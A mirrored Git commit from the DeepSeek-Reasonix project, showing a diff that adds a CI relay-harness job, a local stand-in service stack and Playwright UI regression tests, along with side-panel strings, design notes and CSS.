mirror of
https://github.com/esengine/DeepSeek-Reasonix.git
synced 2026-11-07 10:45:59 -10:00
fix: harden grouped checkout ownership and sync studio
Problem: Grouped projects could open the source after an explicit worktree selection, hide source-alias history, omit inferred launcher exclusions, or remain unusable when their source folder disappeared. Copied Git metadata could also claim another checkout's project identity. Root cause: Display identity was reused as execution and catalog authority. Project inference duplicated an unbounded marker walk without validating managed checkout containment or the reverse Git registration. Fix: Preserve selected directories and all catalog members, choose a surviving project directory, and use complete member roots for editor discovery and launch. Reuse shared checkout identity and validate its managed boundary, local prefix and registration backlink. Merge studio, move root resolution to its project owner to preserve the file-size budget, and align the title guard with the intended checkout label while retaining spacing and overflow limits. Verification: Failing original-head HTTP/path regressions pass after the fix. Frontend tests (629 files, 5,221 tests), production build, focused race tests, go vet, make lint and make check pass. Added a 100-root tree benchmark and a deterministic delayed-header test; repository suites and browser guards cover adjacent behavior. Hosted checks must validate the replacement PR head.
This commit is contained in:
commit
dbc39493d6
84 files changed
+3144
-211
No files matched your search
@@ -163,6 +163,7 @@ jobs:
|
||||
node perf/settings-rows.mjs
|
||||
node perf/narrow-steps.mjs
|
||||
node perf/job-names.mjs
|
||||
node perf/composer-feel.mjs
|
||||
node perf/side-panel.mjs
|
||||
node perf/card-shell.mjs
|
||||
node perf/line-cards.mjs
|
||||
@@ -177,6 +178,70 @@ jobs:
|
||||
node perf/narrow-rail.mjs
|
||||
node perf/selfcheck.mjs branch-tooltip
|
||||
|
||||
# What a hosted page does over the relay, end to end: the production bundle,
|
||||
# the real Studio host and kernel, a real Chromium; only the accounts API and
|
||||
# the relay are stand-ins (tools/relayfake). Event-transport changes are
|
||||
# judged here, because a unit test of one side cannot see the other.
|
||||
relay-harness:
|
||||
name: relay harness
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 15
|
||||
steps:
|
||||
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Transport changed?
|
||||
id: scope
|
||||
env:
|
||||
BASE_REF: ${{ github.base_ref }}
|
||||
run: |
|
||||
paths="desktop/frontend-next internal/frontend/serve internal/platform/remotecloud internal/platform/account tools/relayfake cmd/reasonix-studio-host"
|
||||
if [ "$GITHUB_EVENT_NAME" = "pull_request" ] &&
|
||||
git diff --quiet "origin/$BASE_REF...HEAD" -- $paths; then
|
||||
echo "run=false" >> "$GITHUB_OUTPUT"
|
||||
else
|
||||
echo "run=true" >> "$GITHUB_OUTPUT"
|
||||
fi
|
||||
|
||||
- if: steps.scope.outputs.run == 'true'
|
||||
uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache: true
|
||||
|
||||
- if: steps.scope.outputs.run == 'true'
|
||||
uses: pnpm/action-setup@ea17c68df8912ef543352723c149a84f56e3d413 # v6.1.0
|
||||
with:
|
||||
version: 10
|
||||
run_install: false
|
||||
|
||||
- if: steps.scope.outputs.run == 'true'
|
||||
uses: actions/setup-node@949feb2413d6458794dcd2491c4babbbce0c15c1 # v7
|
||||
with:
|
||||
node-version: "24"
|
||||
cache: pnpm
|
||||
cache-dependency-path: desktop/frontend-next/pnpm-lock.yaml
|
||||
|
||||
- if: steps.scope.outputs.run == 'true'
|
||||
name: Build the host, the stand-ins and the page
|
||||
run: |
|
||||
go build -o desktop/frontend-next/relay/bin/studio-host ./cmd/reasonix-studio-host
|
||||
go build -o desktop/frontend-next/relay/bin/relayfake ./tools/relayfake
|
||||
cd desktop/frontend-next
|
||||
pnpm install --frozen-lockfile
|
||||
pnpm exec vite build --outDir dist-relay --emptyOutDir
|
||||
pnpm exec playwright install --with-deps chromium
|
||||
|
||||
- if: steps.scope.outputs.run == 'true'
|
||||
name: Scenarios
|
||||
working-directory: desktop/frontend-next
|
||||
env:
|
||||
RELAY_HOST_BIN: ${{ github.workspace }}/desktop/frontend-next/relay/bin/studio-host
|
||||
RELAY_FAKE_BIN: ${{ github.workspace }}/desktop/frontend-next/relay/bin/relayfake
|
||||
RELAY_DIST: ${{ github.workspace }}/desktop/frontend-next/dist-relay
|
||||
run: node relay/live.mjs
|
||||
|
||||
# A pull request with no platform-relevant change (scripts/ci-platform-scope.sh)
|
||||
# moves the Windows and macOS legs onto an ubuntu runner with every step
|
||||
# skipped, so the check names still report without a scarce runner. A push to
|
||||
|
||||
@@ -95,3 +95,4 @@ scripts/official-theme-art/__pycache__/
|
||||
# running, which on Windows is every rebuild while Studio is open.
|
||||
*.exe
|
||||
*.exe~
|
||||
/relayfake
|
||||
@@ -4,3 +4,5 @@ dist-perf*
|
||||
*.png
|
||||
!public/icons/*.png
|
||||
tsconfig.tsbuildinfo
|
||||
dist-relay*
|
||||
relay/bin
|
||||
@@ -0,0 +1,79 @@
|
||||
// The composer keeps the 1.x feel: a ring of light sweeps its border once when
|
||||
// it is hovered or focused, nothing sweeps while a turn runs or when motion is
|
||||
// reduced, and the run state is announced rather than printed inside the box.
|
||||
import { chromium } from "playwright";
|
||||
|
||||
const BASE = process.env.PERF_URL ?? "http://localhost:4399/perf.html?pref=zh&turns=2";
|
||||
const fails = [];
|
||||
const check = (name, ok, detail = "") => {
|
||||
console.log(`${ok ? " ok" : "FAIL"} ${name}${detail ? " — " + detail : ""}`);
|
||||
if (!ok) fails.push(name);
|
||||
};
|
||||
const shotDir = process.env.SHOTS;
|
||||
const sweep = (page) => page.evaluate(() => getComputedStyle(document.querySelector(".compose"), "::before").animationName);
|
||||
|
||||
const browser = await chromium.launch();
|
||||
for (const scheme of ["light", "dark"]) {
|
||||
for (const running of [false, true]) {
|
||||
const label = `${scheme} ${running ? "running" : "idle"}`;
|
||||
const page = await browser.newPage({ viewport: { width: 1280, height: 800 }, locale: "zh-CN", colorScheme: scheme });
|
||||
page.on("pageerror", (e) => fails.push("页面异常: " + e.message));
|
||||
await page.goto(BASE + (running ? "&running=1" : ""), { waitUntil: "networkidle" });
|
||||
await page.waitForSelector(".compose");
|
||||
if (running) {
|
||||
await page.waitForFunction(() => typeof window.__feed === "function");
|
||||
await page.waitForTimeout(400);
|
||||
await page.evaluate(() => window.__feed({ kind: "turn_started" }));
|
||||
}
|
||||
await page.waitForSelector(running ? ".studio-runstate[data-running]" : ".studio-runstate[data-idle]");
|
||||
await page.mouse.move(5, 5);
|
||||
await page.waitForTimeout(150);
|
||||
|
||||
const state = await page.evaluate(() => {
|
||||
const status = document.querySelector(".compose .studio-runstate");
|
||||
const word = status?.querySelector(".studio-runlabel > span.sr-only");
|
||||
const r = word?.getBoundingClientRect();
|
||||
const clock = status?.querySelector(".studio-runclock");
|
||||
return {
|
||||
role: status?.getAttribute("role"),
|
||||
live: status?.getAttribute("aria-live"),
|
||||
said: word?.textContent ?? "",
|
||||
wordBox: r ? [Math.round(r.width), Math.round(r.height)] : null,
|
||||
clockShown: !!clock && clock.getBoundingClientRect().width > 0,
|
||||
mark: !!status?.querySelector(".rmark"),
|
||||
};
|
||||
});
|
||||
check(`${label}: the state is announced`, state.role === "status" && state.live === "polite" && state.said.length > 0, state.said);
|
||||
check(`${label}: the word is not printed in the box`, state.wordBox && state.wordBox[0] <= 2 && state.wordBox[1] <= 2, JSON.stringify(state.wordBox));
|
||||
check(`${label}: the mark stays`, state.mark);
|
||||
if (running) check(`${label}: the clock stays`, state.clockShown);
|
||||
|
||||
check(`${label}: nothing sweeps at rest`, (await sweep(page)) === "none");
|
||||
await page.hover(".compose textarea");
|
||||
await page.waitForTimeout(300);
|
||||
const hovered = await sweep(page);
|
||||
check(`${label}: ${running ? "no sweep on hover while running" : "a sweep on hover"}`, running ? hovered === "none" : hovered === "compose-sweep", hovered);
|
||||
if (shotDir && !running) await page.locator(".compose").screenshot({ path: `${shotDir}/${scheme}-hover.png` });
|
||||
await page.mouse.move(5, 5);
|
||||
await page.waitForTimeout(100);
|
||||
await page.focus(".compose textarea");
|
||||
await page.waitForTimeout(300);
|
||||
const focused = await sweep(page);
|
||||
check(`${label}: ${running ? "no sweep on focus while running" : "a sweep on focus"}`, running ? focused === "none" : focused === "compose-sweep", focused);
|
||||
if (shotDir) await page.locator(".compose").screenshot({ path: `${shotDir}/${scheme}-${running ? "running" : "idle"}.png` });
|
||||
await page.close();
|
||||
}
|
||||
const calm = await browser.newPage({ viewport: { width: 1280, height: 800 }, locale: "zh-CN", colorScheme: scheme, reducedMotion: "reduce" });
|
||||
await calm.goto(BASE, { waitUntil: "networkidle" });
|
||||
await calm.waitForSelector(".compose");
|
||||
await calm.hover(".compose textarea");
|
||||
await calm.focus(".compose textarea");
|
||||
await calm.waitForTimeout(300);
|
||||
check(`${scheme}: no sweep when motion is reduced`, (await sweep(calm)) === "none");
|
||||
await calm.close();
|
||||
}
|
||||
await browser.close();
|
||||
if (fails.length) {
|
||||
console.log(`\n${fails.length} failed`);
|
||||
process.exit(1);
|
||||
}
|
||||
@@ -1,4 +1,4 @@
|
||||
// The session title sits right beside the project name in the title bar, at every width, and the
|
||||
// The session title sits right beside the project and checkout in the title bar, at every width, and the
|
||||
// project name still gives way (ellipsis) before the title is pushed off. Layout is a real-browser question.
|
||||
import { chromium } from "playwright";
|
||||
|
||||
@@ -22,9 +22,11 @@ try {
|
||||
const range = document.createRange();
|
||||
range.selectNodeContents(projEl);
|
||||
const text = range.getBoundingClientRect();
|
||||
return { gap: Math.round(sep.left - text.right), titleRight: Math.round(title.right) };
|
||||
const tags = [...document.querySelectorAll(".chrome .crumb .isolab")].filter((el) => !el.hidden);
|
||||
const edge = tags.at(-1)?.getBoundingClientRect().right ?? text.right;
|
||||
return { gap: Math.round(sep.left - edge), titleRight: Math.round(title.right) };
|
||||
});
|
||||
check(`${width}px: the title follows the project name`, at.gap >= 0 && at.gap <= 12, `gap ${at.gap}px`);
|
||||
check(`${width}px: the title follows the project and checkout`, at.gap >= 0 && at.gap <= 12, `gap ${at.gap}px`);
|
||||
check(`${width}px: the title stays on screen`, at.titleRight <= width, `right edge ${at.titleRight}px`);
|
||||
const long = await page.evaluate(() => {
|
||||
document.querySelector(".chrome .crumb-proj").textContent = "a-very-long-project-folder-name-".repeat(8);
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
// and inside the conversation's own column — never over what sits beside or
|
||||
// above it, whether the file panel is open or not and at any width.
|
||||
import { chromium } from "playwright";
|
||||
import { mkdir } from "node:fs/promises";
|
||||
|
||||
const PAGE = process.env.PERF_URL ?? "http://localhost:4399/perf.html?pref=zh&ws=2&sess=6&turns=3";
|
||||
const fails = [];
|
||||
@@ -12,13 +13,14 @@ const check = (name, ok, detail = "") => {
|
||||
const shotDir = process.env.SHOTS;
|
||||
const box = (el) => (el ? (({ left, top, right, bottom }) => ({ left, top, right, bottom }))(el.getBoundingClientRect()) : null);
|
||||
|
||||
const browser = await chromium.launch();
|
||||
if (shotDir) await mkdir(shotDir, { recursive: true });
|
||||
const browser = await chromium.launch({ channel: process.env.PLAYWRIGHT_CHANNEL });
|
||||
for (const scheme of ["light", "dark"]) {
|
||||
for (const [width, files] of [[1400, false], [1400, true], [760, false], [760, true]]) {
|
||||
const label = `${scheme} ${width}px${files ? " with the file panel" : ""}`;
|
||||
const page = await browser.newPage({ viewport: { width, height: 800 }, locale: "zh-CN", colorScheme: scheme });
|
||||
for (const [width, files, height = 800, zoom = 1] of [[1400, false], [1400, true], [760, false], [760, true], [390, false, 700], [900, false, 480], [760, false, 800, 1.3]]) {
|
||||
const label = `${scheme} ${width}x${height} zoom ${zoom}${files ? " with the file panel" : ""}`;
|
||||
const page = await browser.newPage({ viewport: { width, height }, locale: "zh-CN", colorScheme: scheme });
|
||||
page.on("pageerror", (e) => fails.push("页面异常: " + e.message));
|
||||
await page.goto(PAGE, { waitUntil: "networkidle" });
|
||||
await page.goto(`${PAGE}&zoom=${zoom}`, { waitUntil: "networkidle" });
|
||||
await page.waitForSelector(".compose");
|
||||
if (files) {
|
||||
await page.locator('.navbtn[aria-label="文件"]').first().click();
|
||||
@@ -41,7 +43,34 @@ for (const scheme of ["light", "dark"]) {
|
||||
check(`${label}: it stays inside the window`, p.left >= 0 && p.right <= r.vw && p.top >= 0 && p.bottom <= r.vh);
|
||||
check(`${label}: it does not cover the file panel`, r.beside.every((b) => p.right <= b.left || p.left >= b.right || p.bottom <= b.top || p.top >= b.bottom), files ? `${r.beside.length} file panel parts` : "no file panel");
|
||||
check(`${label}: it opens above the button that asked`, p.bottom <= r.button.top && p.left <= r.button.left + 1, `button ${Math.round(r.button.left)}`);
|
||||
if (shotDir && !(width === 760 && files)) await page.screenshot({ path: `${shotDir}/${scheme}-${width}${files ? "-files" : ""}.png` });
|
||||
const draft = page.locator('[data-action-change="side.draft"]');
|
||||
await draft.fill("解释这个函数如何处理错误。".repeat(50));
|
||||
await page.locator('[data-action="side.send"]').click();
|
||||
await page.locator('.sideturn[data-role="side"]').waitFor();
|
||||
await draft.fill("keep this draft");
|
||||
const collapse = page.locator('[data-action="side.collapse"]');
|
||||
await collapse.click();
|
||||
const hidden = await draft.isHidden();
|
||||
const compact = await page.locator(".sidepanel").evaluate((el) => {
|
||||
const b = el.getBoundingClientRect();
|
||||
const button = el.querySelector('[data-action="side.collapse"]');
|
||||
const c = button.getBoundingClientRect();
|
||||
const hit = document.elementFromPoint(c.x + c.width / 2, c.y + c.height / 2);
|
||||
const flow = el.closest(".pane").querySelector('[data-pane="flow"]').getBoundingClientRect();
|
||||
return { height: b.height, hit: hit === button || button.contains(hit), readable: b.top - flow.top, flowHeight: flow.height };
|
||||
});
|
||||
check(`${label}: collapse leaves a reachable header and hides inputs`, hidden && compact.hit && compact.height < 72, JSON.stringify(compact));
|
||||
check(`${label}: collapse exposes the transcript`, compact.readable > 100 && compact.readable > compact.flowHeight / 2, JSON.stringify(compact));
|
||||
await collapse.focus();
|
||||
await page.keyboard.press("Tab");
|
||||
check(`${label}: Tab skips the collapsed controls`, await page.locator('[data-action="side.close"]').evaluate((el) => el === document.activeElement));
|
||||
if (shotDir && [1400, 390].includes(width) && !files) await page.screenshot({ path: `${shotDir}/${scheme}-${width}.png` });
|
||||
await collapse.click();
|
||||
await draft.waitFor({ state: "visible" });
|
||||
check(`${label}: expansion keeps the draft`, await draft.inputValue() === "keep this draft");
|
||||
await page.keyboard.press("Escape");
|
||||
await page.locator(".sidepanel").waitFor({ state: "detached" });
|
||||
check(`${label}: Escape returns focus`, await page.locator('[data-action="side.toggle"]').evaluate((el) => el === document.activeElement));
|
||||
await page.close();
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,29 @@
|
||||
---
|
||||
owner: @esengine
|
||||
backup: @SivanCola
|
||||
status: active
|
||||
reviewed: 2026-10-17
|
||||
---
|
||||
|
||||
# Relay harness
|
||||
|
||||
A hosted page driving a real Studio through a stand-in relay.
|
||||
|
||||
- Real: the production page bundle, its encrypted channel, `reasonix-studio-host` with its kernel, and Chromium.
|
||||
- Replaced: the accounts API and the message relay (`tools/relayfake`), and the model provider (a scripted stream in `stack.mjs`).
|
||||
|
||||
The page still dials `id.reasonix.io` and `remote.reasonix.io`; the browser
|
||||
context answers those two hosts with the stand-ins.
|
||||
|
||||
```
|
||||
go build -o relay/bin/studio-host ../../cmd/reasonix-studio-host
|
||||
go build -o relay/bin/relayfake ../../tools/relayfake
|
||||
pnpm exec vite build --outDir dist-relay --emptyOutDir
|
||||
RELAY_HOST_BIN=$PWD/relay/bin/studio-host RELAY_FAKE_BIN=$PWD/relay/bin/relayfake \
|
||||
RELAY_DIST=$PWD/dist-relay node relay/live.mjs
|
||||
```
|
||||
|
||||
`CHROMIUM_PATH` selects a browser other than the one Playwright installed.
|
||||
A change to how events travel between a page and a kernel is judged by this
|
||||
run, not only by a unit test of one side. Add a scenario to `live.mjs` rather
|
||||
than a second harness.
|
||||
@@ -0,0 +1,61 @@
|
||||
// A hosted page driving a real Studio through a stand-in relay. What a shipped
|
||||
// page does over that link is the claim: the production bundle, the encrypted
|
||||
// channel, the Studio's own host and a real kernel are all real; only the two
|
||||
// Reasonix services between them are replaced (tools/relayfake).
|
||||
import { chromium } from "playwright";
|
||||
import { startStack, routeServices, until } from "./stack.mjs";
|
||||
|
||||
const need = (name) => {
|
||||
if (!process.env[name]) throw new Error(`${name} is not set; see relay/README.md`);
|
||||
return process.env[name];
|
||||
};
|
||||
|
||||
const stack = await startStack({ hostBin: need("RELAY_HOST_BIN"), fakeBin: need("RELAY_FAKE_BIN"), dist: need("RELAY_DIST") });
|
||||
const browser = await chromium.launch(process.env.CHROMIUM_PATH ? { executablePath: process.env.CHROMIUM_PATH } : {});
|
||||
const failures = [];
|
||||
const check = (name, ok, detail = "") => {
|
||||
console.log(`${ok ? "ok " : "FAIL"} ${name}${detail ? ` - ${detail}` : ""}`);
|
||||
if (!ok) failures.push(name);
|
||||
};
|
||||
|
||||
try {
|
||||
const context = await browser.newContext({ viewport: { width: 1300, height: 850 } });
|
||||
await routeServices(context, stack);
|
||||
const page = await context.newPage();
|
||||
const pageErrors = [];
|
||||
page.on("pageerror", (error) => pageErrors.push(error.message));
|
||||
await page.goto(stack.pageUrl());
|
||||
await page.evaluate(() => { window.__survivor = true; });
|
||||
await page.keyboard.press("Escape");
|
||||
const pane = await stack.api("/runtimes", "POST", { root: stack.workspace });
|
||||
check("a pane opens on the Studio", pane.status === 200, `status ${pane.status}`);
|
||||
|
||||
const composer = page.getByLabel("Task input").first();
|
||||
await composer.waitFor({ timeout: 30_000 });
|
||||
const text = () => page.evaluate(() => document.body.innerText);
|
||||
const count = async (word) => ((await text()).match(new RegExp(word, "g")) ?? []).length;
|
||||
const send = async (message) => {
|
||||
await composer.fill(message);
|
||||
await composer.press("Enter");
|
||||
};
|
||||
|
||||
await send("first");
|
||||
const live = await until("the reply to stream onto the page", async () => (await count("word11")) >= 1, 20_000).then(() => true, () => false);
|
||||
check("a reply streams onto the page over the relay", live, `provider saw ${stack.provider.requests.length} request(s)`);
|
||||
|
||||
const dropped = await stack.ctl("drop-controllers", "POST");
|
||||
check("the relay drops the page's socket", dropped.dropped === 1, JSON.stringify(dropped));
|
||||
await until("the page to reconnect", async () => (await stack.ctl("state")).controllers === 1, 30_000).catch(() => {});
|
||||
await send("second");
|
||||
const after = await until("a reply after the reconnect", async () => (await count("word11")) >= 2, 40_000).then(() => true, () => false);
|
||||
check("a reply streams onto the page after the relay drops the socket", after);
|
||||
|
||||
check("the page was never reloaded", await page.evaluate(() => window.__survivor === true));
|
||||
check("the page threw no error", pageErrors.length === 0, pageErrors.join(" | "));
|
||||
} catch (error) {
|
||||
check("the scenario ran to the end", false, String(error));
|
||||
} finally {
|
||||
await browser.close();
|
||||
await stack.stop();
|
||||
}
|
||||
process.exit(failures.length ? 1 : 0);
|
||||
@@ -0,0 +1,172 @@
|
||||
import http from "node:http";
|
||||
import fs from "node:fs";
|
||||
import os from "node:os";
|
||||
import path from "node:path";
|
||||
import { spawn } from "node:child_process";
|
||||
|
||||
const wait = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
|
||||
|
||||
export async function until(what, probe, ms = 20_000) {
|
||||
const end = Date.now() + ms;
|
||||
for (;;) {
|
||||
const value = await probe();
|
||||
if (value) return value;
|
||||
if (Date.now() > end) throw new Error(`timed out waiting for ${what}`);
|
||||
await wait(100);
|
||||
}
|
||||
}
|
||||
|
||||
function firstLine(child, what) {
|
||||
return new Promise((resolve, reject) => {
|
||||
let buffer = "";
|
||||
child.stdout.on("data", (chunk) => {
|
||||
buffer += chunk;
|
||||
const at = buffer.indexOf("\n");
|
||||
if (at >= 0) resolve(buffer.slice(0, at));
|
||||
});
|
||||
child.once("exit", (code) => reject(new Error(`${what} exited (${code}) before it was ready`)));
|
||||
});
|
||||
}
|
||||
|
||||
function scriptedProvider() {
|
||||
const requests = [];
|
||||
const server = http.createServer((req, res) => {
|
||||
let body = "";
|
||||
req.on("data", (chunk) => { body += chunk; });
|
||||
req.on("end", () => {
|
||||
if (!req.url.includes("chat/completions")) {
|
||||
res.writeHead(404);
|
||||
res.end("{}");
|
||||
return;
|
||||
}
|
||||
requests.push({ at: Date.now(), body });
|
||||
res.writeHead(200, { "content-type": "text/event-stream" });
|
||||
const chunk = (delta) =>
|
||||
`data: ${JSON.stringify({ id: "x", object: "chat.completion.chunk", model: "fake-m", choices: [{ index: 0, delta }] })}\n\n`;
|
||||
let n = 0;
|
||||
const timer = setInterval(() => {
|
||||
if (n < 12) {
|
||||
res.write(chunk({ content: `word${n++} ` }));
|
||||
return;
|
||||
}
|
||||
clearInterval(timer);
|
||||
res.write(`data: ${JSON.stringify({ id: "x", object: "chat.completion.chunk", model: "fake-m", choices: [{ index: 0, delta: {}, finish_reason: "stop" }], usage: { prompt_tokens: 10, completion_tokens: 12, total_tokens: 22 } })}\n\n`);
|
||||
res.write("data: [DONE]\n\n");
|
||||
res.end();
|
||||
}, 120);
|
||||
res.on("close", () => clearInterval(timer));
|
||||
});
|
||||
});
|
||||
return new Promise((resolve) => server.listen(0, "127.0.0.1", () => resolve({ server, requests, port: server.address().port })));
|
||||
}
|
||||
|
||||
function pageServer(dist) {
|
||||
const types = { ".html": "text/html", ".js": "text/javascript", ".css": "text/css", ".svg": "image/svg+xml", ".woff2": "font/woff2", ".json": "application/json", ".webmanifest": "application/manifest+json", ".png": "image/png" };
|
||||
const server = http.createServer((req, res) => {
|
||||
const target = path.join(dist, decodeURIComponent(new URL(req.url, "http://x").pathname));
|
||||
const file = target.startsWith(dist) && fs.existsSync(target) && fs.statSync(target).isFile() ? target : path.join(dist, "index.html");
|
||||
res.writeHead(200, { "content-type": types[path.extname(file)] ?? "application/octet-stream" });
|
||||
fs.createReadStream(file).pipe(res);
|
||||
});
|
||||
return new Promise((resolve) => server.listen(0, "127.0.0.1", () => resolve({ server, origin: `http://127.0.0.1:${server.address().port}` })));
|
||||
}
|
||||
|
||||
/**
|
||||
* Starts everything between a hosted page and a Studio except the page's browser:
|
||||
* the real studio-host binary on a fresh data home, a stand-in accounts API and
|
||||
* relay, a scripted model provider, and a static server for the built page.
|
||||
*/
|
||||
export async function startStack({ hostBin, fakeBin, dist }) {
|
||||
const root = fs.mkdtempSync(path.join(os.tmpdir(), "relay-stack-"));
|
||||
const home = path.join(root, "home");
|
||||
const workspace = path.join(root, "workspace");
|
||||
fs.mkdirSync(home, { recursive: true });
|
||||
fs.mkdirSync(workspace, { recursive: true });
|
||||
const provider = await scriptedProvider();
|
||||
fs.writeFileSync(path.join(home, "config.toml"), [
|
||||
'language = "en"',
|
||||
'default_model = "fake"',
|
||||
`providers = [{ name = "fake", kind = "openai", base_url = "http://127.0.0.1:${provider.port}/v1", model = "fake-m", api_key_env = "FAKE_KEY" }]`,
|
||||
"",
|
||||
].join("\n"));
|
||||
fs.writeFileSync(path.join(home, ".env"), "FAKE_KEY=fixture\n");
|
||||
|
||||
const fake = spawn(fakeBin, [], { stdio: ["ignore", "pipe", "inherit"] });
|
||||
const urls = JSON.parse(await firstLine(fake, "relayfake"));
|
||||
const ctl = async (route, method = "GET") => (await fetch(`${urls.accounts}/ctl/${route}`, { method })).json();
|
||||
|
||||
const host = spawn(hostBin, [], {
|
||||
stdio: ["pipe", "pipe", "inherit"],
|
||||
env: {
|
||||
...process.env, HOME: root, USERPROFILE: root, REASONIX_HOME: home, REASONIX_STATE_HOME: home,
|
||||
REASONIX_ACCOUNTS_URL: urls.accounts, REASONIX_REMOTE_URL: urls.relay, REASONIX_ACCOUNT_TOKEN: "fixture-token",
|
||||
FAKE_KEY: "fixture",
|
||||
},
|
||||
});
|
||||
const handshake = JSON.parse(await firstLine(host, "studio-host"));
|
||||
const state = await until("the Studio to reach the relay", async () => {
|
||||
const s = await ctl("state");
|
||||
return s.deviceId && s.deviceOnline ? s : null;
|
||||
});
|
||||
const page = await pageServer(dist);
|
||||
|
||||
const api = async (route, method = "GET", body) => {
|
||||
const response = await fetch(handshake.origin + route, {
|
||||
method,
|
||||
headers: { cookie: `reasonix_token=${handshake.token}`, origin: handshake.origin, "content-type": "application/json" },
|
||||
body: body === undefined ? undefined : JSON.stringify(body),
|
||||
});
|
||||
return { status: response.status, json: await response.json().catch(() => null) };
|
||||
};
|
||||
|
||||
return {
|
||||
urls, deviceId: state.deviceId, pageOrigin: page.origin, workspace, provider, ctl, api,
|
||||
pageUrl: () => `${page.origin}/?device=${state.deviceId}`,
|
||||
async stop() {
|
||||
const gone = new Promise((resolve) => host.once("exit", resolve));
|
||||
host.stdin.end();
|
||||
host.kill();
|
||||
await gone;
|
||||
fake.kill();
|
||||
page.server.close();
|
||||
provider.server.close();
|
||||
fs.rmSync(root, { recursive: true, force: true });
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Points a browser context's two Reasonix services at the stand-ins. The page is
|
||||
* the production build, so it still dials id.reasonix.io and remote.reasonix.io;
|
||||
* the requests and the socket are answered here. The socket is a plain pipe:
|
||||
* the page and the Studio speak their own encrypted protocol across it.
|
||||
*/
|
||||
export async function routeServices(context, stack) {
|
||||
await context.route("https://id.reasonix.io/**", async (route) => {
|
||||
const request = route.request();
|
||||
const cors = {
|
||||
"access-control-allow-origin": request.headers().origin ?? "*",
|
||||
"access-control-allow-credentials": "true",
|
||||
"access-control-allow-headers": "content-type",
|
||||
};
|
||||
if (request.method() === "OPTIONS") {
|
||||
await route.fulfill({ status: 204, headers: cors });
|
||||
return;
|
||||
}
|
||||
const answer = await fetch(stack.urls.accounts + new URL(request.url()).pathname, {
|
||||
method: request.method(),
|
||||
headers: { "content-type": "application/json" },
|
||||
body: request.postData() ?? undefined,
|
||||
});
|
||||
await route.fulfill({ status: answer.status, headers: { ...cors, "content-type": "application/json" }, body: await answer.text() });
|
||||
});
|
||||
await context.routeWebSocket(/remote\.reasonix\.io/, (page) => {
|
||||
const upstream = new WebSocket(`${stack.urls.relay}/v1/sessions/connect?fixture=1`, "reasonix.remote.v1");
|
||||
const queued = [];
|
||||
upstream.onopen = () => queued.splice(0).forEach((message) => upstream.send(message));
|
||||
upstream.onmessage = (event) => page.send(String(event.data));
|
||||
upstream.onclose = (event) => page.close({ code: event.code >= 1000 && event.code < 5000 ? event.code : 1011, reason: event.reason });
|
||||
page.onMessage((message) => (upstream.readyState === 1 ? upstream.send(message) : queued.push(message)));
|
||||
page.onClose(() => upstream.close());
|
||||
});
|
||||
}
|
||||
@@ -237,6 +237,7 @@ export const ACTIONS: UIAction[] = [
|
||||
{ id: "feedback.contact", kind: "view", target: "none", proof: "interaction" },
|
||||
{ id: "feedback.shot.pick", kind: "view", target: "none", proof: "interaction" },
|
||||
{ id: "feedback.shot.capture", kind: "shell-native", target: "none", proof: "interaction" },
|
||||
{ id: "side.collapse", kind: "view", target: "none", proof: "interaction" },
|
||||
{ id: "side.toggle", kind: "view", target: "none", proof: "interaction" },
|
||||
{ id: "side.quote", kind: "view", target: "none", proof: "interaction" },
|
||||
{ id: "side.unquote", kind: "view", target: "none", proof: "interaction" },
|
||||
|
||||
@@ -21,6 +21,8 @@ export const EN_SETTINGS: Record<string, string> = {
|
||||
"浏览器标签": "Browser tabs",
|
||||
"辅助会话": "Side question",
|
||||
"只读 · 不写入主会话 · 关闭即丢": "Read-only · not in the main session · gone when closed",
|
||||
"收起辅助会话": "Collapse the side question",
|
||||
"展开辅助会话": "Expand the side question",
|
||||
"关闭辅助会话": "Close the side question",
|
||||
"移除引用 {n}": "Remove quote {n}",
|
||||
"向辅助会话提问": "Ask the side question",
|
||||
|
||||
@@ -1581,3 +1581,8 @@ what exists.
|
||||
|
||||
- The mark at the top of the rail is one row: the wordmark and a compact filled uppercase badge ("STUDIO" by CSS; the text and the aria label are unchanged), vertically centred on each other, gap 8px. The badge is `--text` on `--page` inverted, so it is dark on light and light on dark and never moves with the theme.
|
||||
- The badge is hidden at 760px and below. The wordmark box is cropped to its drawn width so the badge sits next to the letters, not next to the asset's padding.
|
||||
|
||||
## Side question
|
||||
|
||||
- The panel stays anchored above its own composer. Collapsing it leaves a header with separate expand and close controls so the conversation can be read without discarding the side question.
|
||||
- The mounted content keeps its draft, quotes, answers and pending request while collapsed. Errors, quotes and replies share the scroll region; the input stays outside it.
|
||||
@@ -4,13 +4,13 @@
|
||||
display: flex; flex-direction: column; border: 1px solid var(--border); border-radius: 12px; transform-origin: bottom left;
|
||||
background: var(--raised); color: var(--text); box-shadow: 0 12px 32px -12px rgba(0, 0, 0, .45);
|
||||
}
|
||||
.sidepanel > header { display: flex; align-items: flex-start; justify-content: space-between; gap: 10px; padding: 10px 12px; border-bottom: 1px solid var(--border); }
|
||||
.sidepanel > header { flex: none; display: flex; align-items: flex-start; justify-content: space-between; gap: 10px; padding: 10px 12px; border-bottom: 1px solid var(--border); }
|
||||
.sidepanel > header span { display: grid; gap: 2px; }
|
||||
.sidepanel > header b { font: 600 12px/1.3 var(--ui); }
|
||||
.sidepanel > header small { color: var(--ghost); font: 500 10px/1.3 var(--ui); }
|
||||
.sidepanel > header button { padding: 0 6px; border: 0; background: none; color: var(--muted); font-size: 16px; line-height: 1; cursor: pointer; }
|
||||
.sidepanel > header button:hover { color: var(--text); }
|
||||
.sidebody { flex: 1; min-height: 80px; overflow-y: auto; display: grid; align-content: start; gap: 10px; padding: 10px 12px; }
|
||||
.sidebody { flex: 1; min-height: 0; overflow-y: auto; display: grid; align-content: start; gap: 10px; padding: 10px 12px; }
|
||||
.sidehint { margin: 0; color: var(--faint); font: 500 11px/1.6 var(--ui); }
|
||||
.sideturn { display: grid; gap: 4px; }
|
||||
.sideturn p { margin: 0; white-space: pre-wrap; overflow-wrap: anywhere; font: 500 12px/1.6 var(--ui); }
|
||||
@@ -21,10 +21,18 @@
|
||||
